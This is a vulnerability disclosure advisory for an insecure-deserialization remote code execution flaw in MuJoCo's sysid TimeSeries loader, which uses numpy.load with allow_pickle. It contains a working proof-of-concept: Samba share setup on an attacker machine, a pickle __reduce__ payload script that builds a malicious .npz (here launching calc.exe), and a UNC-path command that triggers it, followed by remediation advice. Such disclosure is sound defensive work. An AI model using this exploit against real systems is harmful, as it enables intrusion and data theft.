Full Disclosure ID: HA-2026-00191

MuJoCo - Version 3.7.0 / Remote Code Execution (RCE) via Insecure Deserialization based on sink numpy.load and mujoco.sysid.TimeSeries class (RCE via UNC Path Redirection in TimeSeries Loading)

JP
Joshua Provoste Security Researcher
Published June 01, 2026
Severity 9.8 (CRITICAL)
Target MuJoCo / Robotics Simulation Frameworks

Below are one (1) way to reproduce RCE in MuJoCo using an SMB share controlled by an attacker, without local intervention by a third party to modify files that allow code execution during the deserialization process.

For this PoC, two (2) different devices were used to simulate the interaction between an attacking machine (Raspberry Pi with IP 192.168.1.90) and a victim machine (Windows with IP 192.168.1.88).

Note: While this vulnerability is specifically verified and reported on version 3.7.0, other prior and subsequent versions may also be susceptible to this insecure deserialization vector.

Introduction

MuJoCo Logo

MuJoCo (Multi-Joint dynamics with Contact) is a free and open-source physics engine designed to facilitate research and development in robotics, biomechanics, graphics, animation, and other areas where fast and accurate simulation of articulated structures interacting with obstacles is required. Managed and open-sourced by Google DeepMind, it serves as a foundational tool for training reinforcement learning agents and evaluating physical simulators.

The platform's importance lies in its role as a key validation standard for robotic control strategies and physical system modeling. Because roboticists regularly share trajectory rollouts as passive benchmark datasets to validate their identification algorithms, a vulnerability inside its dataset-loading components can easily lead to supply chain poisoning and the compromise of research assets.

Vulnerability Description

The mujoco.sysid.TimeSeries.load_from_disk method is vulnerable to insecure deserialization. The function utilizes numpy.load with the allow_pickle=True parameter enabled to process archived signal data. This configuration allows the deserialization of arbitrary Python objects embedded within the .npz file. On Windows systems, this vulnerability can be exploited remotely by passing a Universal Naming Convention (UNC) path, forcing the application to fetch and deserialize a malicious payload from an attacker-controlled SMB share.

The vulnerability exists in the timeseries loading routines of the mujoco.sysid module. When reading archived signal data from disk, the application relies on NumPy's binary archive format (.npz).

The vulnerable code in mujoco/sysid/_src/timeseries.py:

Python (timeseries.py) Vulnerable TimeSeries Loader
  @classmethod
  def load_from_disk(cls, path: str | pathlib.Path) -> TimeSeries:
...
    with np.load(path, allow_pickle=True) as npz: # <--- CRITICAL SINK (numpy.load with allow_pickle=True)
      times = npz["times"]
      data = npz["data"]
      if "signal_mapping" in npz:
        signal_mapping = npz["signal_mapping"].item() # <--- TRIGGER (Triggers pickle.load via .item())

Technical Impact Analysis

Project Purpose & Context

MuJoCo (Multi-Joint dynamics with Contact) is a widely used physics engine for robotics research and development. The sysid (System Identification) module is specifically designed to help researchers identify physical parameters (mass, friction, etc.) from experimental data. This context involves the frequent sharing of large datasets (trajectories and time series) between researchers and across automated simulation pipelines.

Platform & Deployment Environment

While MuJoCo is cross-platform, this specific RCE vector leverages Windows' native support for UNC paths. The deployment environment typically includes high-performance workstations, GPU clusters for simulation, and collaborative research environments where paths to remote datasets are often managed via shared configuration files or environmental variables.

Comprehensive Risk Assessment

The risk is classified as CRITICAL. By enabling allow_pickle=True, the library implicitly trusts the integrity of any loaded file. The ability to redirect this load to a remote SMB share transforms a local file-handling feature into a zero-interaction remote exploit. Successful exploitation results in full system compromise, providing the attacker with the same privileges as the researcher or service running the MuJoCo simulation.

Attack Scenario

Who wants to exploit a particular vulnerability?

Targeted attackers including corporate competitors seeking to steal proprietary robot controller logic, state-sponsored actors targeting advanced robotics research, or malicious actors looking to pivot from a research workstation into broader corporate or laboratory networks.

For what gain?

The primary gain is the theft of sensitive intellectual property (robot models, control parameters, proprietary algorithms). Secondary gains include establishing a persistent foothold in high-value research infrastructure (GPU clusters) or sabotaging simulation results to delay product development or academic publication.

In what way?

An attacker can distribute "malicious datasets" on research portals or, more stealthily, modify a shared configuration file in a lab environment to point to a UNC path (\\attacker\share\data.npz). When the automated identification pipeline or a researcher's notebook attempts to "load the latest data," the payload is fetched and executed automatically, bypassing traditional network boundary protections that often allow SMB traffic within a laboratory LAN.

Reproduction steps

On the Raspberry (attacker) - IP 192.168.1.90

kw0@kw0l4b:~ $ hostname -I | awk '{print $1}'
192.168.1.90

Shared Resource Configuration (SMB):

1. Install Samba: sudo apt update && sudo apt install samba samba-common-bin -y.
2. Prepare the attack directory:

mkdir ~/lab_attack
chmod 755 /home/kw0  # Allows Samba to access the HOME
chmod -R 777 ~/lab_attack

3. Configure Samba: Add to the end of /etc/samba/smb.conf:

[lab_share]
path = /home/kw0/lab_attack
read only = no
guest ok = yes

Payload Generation on the Raspberry: Run the specialized exploit.py script to generate the exploit.npz file directly in the shared path:

exploit.py
import numpy as np
import pickle
import os

class Exploit:
    def __reduce__(self):
        # Best Practice: Use 'or {}' so the result of the expression
        # is a dictionary, preventing crashes in the victim app.
        return (eval, ("__import__('os').system('calc.exe') or {}",))

# Create a dummy TimeSeries structure
times = np.array([0.0, 0.1, 0.2])
data = np.random.rand(3, 2)
# The signal_mapping entry is where we inject the malicious object
# It must be saved as an object-dtype array to trigger pickle.load on .item()
signal_mapping = np.array(Exploit(), dtype=object)

# Save as a standard NumPy archive (.npz) directly in the SMB share
payload_path = "/home/kw0/lab_attack/exploit.npz"
np.savez(payload_path, times=times, data=data, signal_mapping=signal_mapping)

print(f"[+] Malicious payload generated and saved to SMB share: {payload_path}")
python exploit.py
Payload generation output

On Windows (victim) - IP 192.168.1.88

(.venv) PS L:\Deserializer\PYPI-mujoco> Get-NetIPAddress -AddressFamily IPv4 | Where-Object PrefixOrigin -eq "Dhcp" | Select-Object -ExpandProperty IPAddress
192.168.1.88

1. Create a .venv, activate it, and install mujoco and the required dependencies: pip install mujoco numpy PyYAML colorama tabulate scipy jinja2 matplotlib plotly.
2. Enable the SMB share: net use Z: \\192.168.1.90\lab_share /persistent:no.
3. Run the following command to load the remote timeseries file, triggering the RCE payload:

python -c "from mujoco.sysid import TimeSeries; p=r'\\192.168.1.90\lab_share\exploit.npz'; print(f'[*] Loading: {p}'); exec('try: TimeSeries.load_from_disk(p)\nexcept: pass')"
Exploit confirmation pop-up

Executive Summary: RCE via Insecure Deserialization in MuJoCo (sysid)

The research documents a critical Remote Code Execution (RCE) vulnerability in the MuJoCo sysid (System Identification) toolbox, specifically within the TimeSeries.load_from_disk method.

  • Root Cause: The method uses numpy.load(path, allow_pickle=True) to process archived signal data (.npz files) without validating the content.
  • Exploitation Mechanism: By providing a crafted .npz file containing malicious serialized objects in the signal_mapping metadata, an attacker can achieve code execution. On Windows systems, this is further exacerbated by the ability to use UNC paths (e.g., \\192.168.1.90\lab_share\exploit.npz) to force the application to fetch and deserialize payloads from a remote SMB share.

Analysis of Scope and Security Implications

This vulnerability is of critical severity, as it targets standard research workflows where datasets are often shared and treated as passive, trusted inputs.

1. Infection Scenarios

  • Supply Chain Poisoning: Attackers can distribute "poisoned" benchmark datasets through popular research repositories or collaborative portals. Researchers downloading these files for system identification will trigger the RCE immediately upon loading the dataset into their environment.
  • Shared Infrastructure Exploitation: In collaborative laboratory environments, placing a malicious file on a shared network resource allows an attacker to compromise any user who attempts to analyze that file.

2. Factors Exacerbating Risk

  • UNC Path Redirection: The vulnerability is particularly dangerous in Windows-based research workstations, where the application’s support for UNC paths allows attackers to trigger the exploit from a remote network share without requiring the victim to perform a local file download.
  • Implicit Trust in Research Data: MuJoCo is a foundational framework for robotics. The research community generally lacks defensive posture regarding dataset integrity, making this a highly effective vector for exfiltrating proprietary control logic and gaining persistent access to high-performance compute resources.

Conclusion and Recommendation

This is a critical-severity vulnerability. The use of numpy.load with allow_pickle=True on user-controlled input files is a dangerous practice that MuJoCo must urgently remediate.

Suggested actions for the development team:

  1. Disable Pickle: Set allow_pickle=False by default in numpy.load calls, or migrate away from pickle to safer serialization formats (e.g., JSON, Protobuf).
  2. Implement Signature Validation: Ensure that any dataset loaded by TimeSeries is cryptographically signed and verified against a trusted source.
  3. Restrict Path Resolution: Sanitize input paths to prevent the use of UNC/SMB protocols or any network-based file resolution within the load_from_disk method.